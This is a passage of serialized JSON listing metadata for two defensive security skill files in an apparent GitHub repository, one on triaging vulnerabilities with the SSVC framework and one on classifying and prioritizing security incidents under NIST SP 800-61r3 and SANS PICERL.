scores.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftriaging-vulnerabilities-with-ssvc-framework\u002FSKILL.md",[255],{"categoryNo":148,"categoryName":149,"taxonomyType":150,"taxonomyTypeDesc":151},[257,258,259,23,260,261,262,263,264,265,266,267,268,269,270,271,272,273,274,275],"vulnerabilities","framework","triaging vulnerabilities with ssvc framework","status","planning","CISA","vulnerability-management","risk-management","nessus","qualys","openvas","cvss","remediation","risk","vulnerability","api","prioritization","ssvc","decision-tree",{"skillNo":277,"name":278,"nameZh":6,"description":279,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":280,"categories":281,"keywords":283,"publishedAt":39},"01M6AGD24TTQQM4CXG69E3B9TJ","triaging-security-incident","Performs initial triage of security incidents using the NIST SP 800-61r3 and SANS PICERL frameworks, classifying incident type, assigning priority by business impact, and routing to the appropriate response team. Use when a SIEM\u002FEDR alert needs human classification, concurrent alerts must be prioritized, or a user report or threat-intel IOC match requires initial incident categorization.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftriaging-security-incident\u002FSKILL.md",[282],{"categoryNo":148,"categoryName":149,"taxonomyType":150,"taxonomyTypeDesc":151},[157,284,23,285,286,287,288,289,290,291,292,26,293,219,294,295,296,297,298,299],"triaging security incident","siem","file","ioc","soc","NIST-800-61","NIST","severity","edr","execution","analysis","classification","severity-classification","incident-triage","SANS-PICERL","SOC-operations"]